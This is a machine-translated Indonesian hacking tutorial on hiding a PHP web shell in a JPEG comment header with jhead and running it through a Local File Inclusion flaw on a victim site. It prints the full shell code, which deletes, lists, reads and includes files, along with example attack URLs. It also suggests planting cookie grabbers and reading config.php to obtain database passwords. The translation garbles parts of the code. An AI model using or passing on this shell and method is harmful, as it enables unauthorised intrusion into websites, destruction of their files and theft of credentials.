Indonesian - detected to English translation
Image Code Injection with LFI Tutorial

Ok, after all this time I disappeared from the world of underground due to busy with over the profession of photography, now is the time I came back with a tutorial on image c0de carrying with LFI injection tutorials. These techniques are briefly we menginject a code image into the future we will use with the method of web hacking LFI (Local File Inclusion). Earlier I mentioned a few things first. CEKIDOT: D

Header Image
Many people do not know that the photographs and graphic images in addition, there are also areas of information in this header. This header is present in all the images to be made in terms of photography, or in the case of normal programs like Photoshop or GIMP. Generally, they contain information such as date of creation, name, size, size and comments.
To give an idea I will show my header image:

    File name: C: \ Users \ Alecs \ Images \ avatar.jpg
    File size: 8631 bytes
    File date: 2010:12:21 17:18:19
    Resolution: 100 x 100
    Comment: Avatar Forum

As you can see the "Comments" I've already entered in the first instance, Avatar Forum, this shows that we can change it at will, and therefore we can use this technique to insert a script. : D

Comment edited with Jhead
Now let's see how to edit a comment in the picture, first get yourself a program "jhead"; once downloaded, then head to the root directory of the hard, such as disk C: /.
Go to Start -> Run -> cmd at the command prompt, you must first select the directory to where it is located
jhead then type "cd C: /" ... well now to look at the header of a drawing command is:
view source
print?
1 jhead namaimage.jpg

When we send the command, it will display information such as written as shown in the box above description.
Now to change the comments, the command is:
view source
print?
1 jhead-ce namaimage.jpg

Then it will open Notepad, now we can insert the code, for example, a cookie grabber, a shell, etc.. After writing, just in the save and come on let's play with exploitation. : D

How to use this technique
Do not underestimate this technique because, I will show now present a picture of code with the host site can be a means by which you can attack him. >:) Now I'll show you how to enter the shell, the basic mission of webshell php, you can attack a site that has LFI vulnerability.
Let's start by placing the shell in a comment:
view source
print?
01 <? Php
02 if ($ _GET ["fvck "]==" distr") {
03 unlink ($ _GET ["file"]);
04} elseif ($ _GET ["fvck "]==" list") {
$ 05 myDirectory = opendir ($ _GET ['dir']);
06 while ($ entryName = readdir ($ myDirectory)) {
$ 07 dirArray [] = $ entryName;
08}
09 closedir ($ myDirectory);
$ 10 indexCount = count ($ dirArray);
11 Print ("$ indexCount files <br> \ n")
12 sort ($ dirArray);
13 for ($ index = 0; $ index <$ indexCount; $ index + +) {
14 echo $ dirArray [$ index]. "<br>";
15}
16} elseif ($ _GET ["fvck "]==" Vedi") {
17 echo htmlspecialchars (file_get_contents ($ _GET ["file "]));
18} elseif ($ _GET ["fvck "]==" inc") {
19 include ($ _GET ["file"]);
20}
21?>

Once saved we must find a site from the train LFI like:

http://www.situskorban.com/index.php?file=home.php
Now we need to upload the form on the victim site (eg load modules at the avatar forum), I will include it by applying a shell with the command:

http://www.situskorban.com/index.php?file=img/avatar/avatartutorial.jpg&fvck=list&dir =

Well, if the shell on this site works and I will show the files in the victim's web space, we can now use this opportunity to read the config.php file if present on the site to find information about the database passwords etc.. : D

Ok, so first .. Hopefully Useful: D